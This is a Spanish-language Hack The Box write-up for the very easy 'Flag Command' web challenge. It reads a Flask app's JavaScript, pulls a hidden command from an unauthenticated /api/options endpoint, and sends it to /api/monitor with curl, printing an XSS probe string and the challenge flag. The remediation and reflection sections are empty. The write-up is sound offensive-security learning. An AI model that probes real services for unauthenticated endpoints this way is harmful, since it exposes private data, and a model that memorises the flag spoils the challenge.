AVILX

WEB CHALLENGE · HACK THE BOX · 2026

Flag Command

Exposición de API sensible y comando secreto en aplicación Flask

PlataformaHack The Box
CategoríaWeb Challenge
DificultadVery Easy
AnalistaJesús Ávila (Avilx)
Fecha08 de Septiembre 2026
Portafolioavilx.dev
FLAG OBTENIDA WEB · API · FLASK · HTB

Documentación de aprendizaje ofensivo | Entorno de laboratorio autorizado

Reconocimiento

Identificación de la aplicación

Al acceder a la aplicación se presentó una terminal interactiva en el navegador con una narrativa de texto de tipo aventura. La interfaz pide al usuario escribir comandos para navegar por un bosque ficticio.

Headers de respuesta del servidor:

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Content-Type: text/html; charset=utf-8
Hallazgo
La aplicación corre sobre Flask/Werkzeug con Python 3.11.8. La interfaz es una terminal web que acepta comandos de texto. Al revisar el source HTML se identificaron tres archivos JavaScript cargados: commands.js, main.js y game.js.
Hipótesis
Se intentó inyectar <script>alert(1)</script> en la terminal para verificar XSS. La aplicación no lo interpretó — la terminal no renderiza HTML del input del usuario.

Análisis del Código Fuente

Revisión de archivos JavaScript

Se revisaron los recursos estáticos cargados por la aplicación. En main.js se identificaron dos hallazgos críticos:

Hallazgo 1 — Endpoint de API expuesto:

Fragment de main.js:

const fetchOptions = () => {
    fetch('/api/options')
    .then((data) => data.json())
    .then((res) => {
        availableOptions = res.allPossibleCommands;
    })
}
Hallazgo
La aplicación carga todas las opciones del juego desde el endpoint /api/options al iniciar. Este endpoint es accesible directamente sin autenticación y devuelve la estructura completa de comandos válidos.

Hallazgo 2 — Clave secret en las opciones:

Fragment de main.js:

if (availableOptions[currentStep].includes(currentCommand) ||
availableOptions['secret'].includes(currentCommand)) {
    await fetch('/api/monitor', {
        method: 'POST',
        body: JSON.stringify({ 'command': currentCommand })
    })
}
Hallazgo
La lógica del juego acepta comandos de dos fuentes: las opciones visibles del paso actual y una clave secret que no se muestra en la interfaz. Si el comando enviado coincide con el secreto, la app lo procesa en /api/monitor y devuelve la flag.

Explotación

Extracción del comando secreto

Se accedió directamente al endpoint /api/options para obtener todos los comandos disponibles incluyendo el secreto:

Request:

GET /api/options HTTP/1.1
Host: 154.57.164.71:31604

Respuesta:

{
    "allPossibleCommands": {
        "1": ["HEAD NORTH", "HEAD WEST", "HEAD EAST", "HEAD SOUTH"],
        "2": ["GO DEEPER INTO THE FOREST", "FOLLOW A MYSTERIOUS PATH",
        "CLIMB A TREE", "TURN BACK"],
        "3": ["EXPLORE A CAVE", "CROSS A RICKETY BRIDGE",
        "FOLLOW A GLOWING BUTTERFLY", "SET UP CAMP"],
        "4": ["ENTER A MAGICAL PORTAL", "SWIM ACROSS A MYSTERIOUS LAKE",
        "FOLLOW A SINGING SQUIRREL", "BUILD A RAFT AND SAIL DOWNSTREAM"],
        "secret": [
        "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
        ]
    }
}
Hallazgo
El endpoint /api/options expone sin autenticación toda la estructura del juego incluyendo la clave secret con el comando oculto: Blip-blop, in a pickle with a hiccup! Shmiggity-shmack.

Obtención de la flag

Se envió el comando secreto directamente al endpoint /api/monitor:

Request:

curl -s -X POST http://154.57.164.71:31604/api/monitor \
-H "Content-Type: application/json" \
-d '{"command": "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"}'

Respuesta:

{
    "message": "HTB{D3v3l0p3r_t00l5_4r3_b35t__t0015_wh4t_d0_y0u_Th1nk??}"
}
Hallazgo
Flag obtenida: HTB{D3v3l0p3r_t00l5_4r3_b35t__t0015_wh4t_d0_y0u_Th1nk??}. El backend processó el comando secreto sin ninguna validación adicional y retornó la flag directamente en la respuesta JSON.

Impacto

Impacto
El endpoint /api/options expone sin autenticación toda la lógica interna del juego incluyendo datos que deberían permanecer ocultos al cliente. En una aplicación real, este patrón equivale a exponer configuración sensible, tokens, rutas internas o lógica de negocio que el servidor asume como secreta pero entrega al frontend sin protección. Cualquier usuario puede hacer una petición directa al endpoint y obtener información privilegiada sin interactuar con la interfaz.

Remediación

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

Aproximadamente 20 minutos.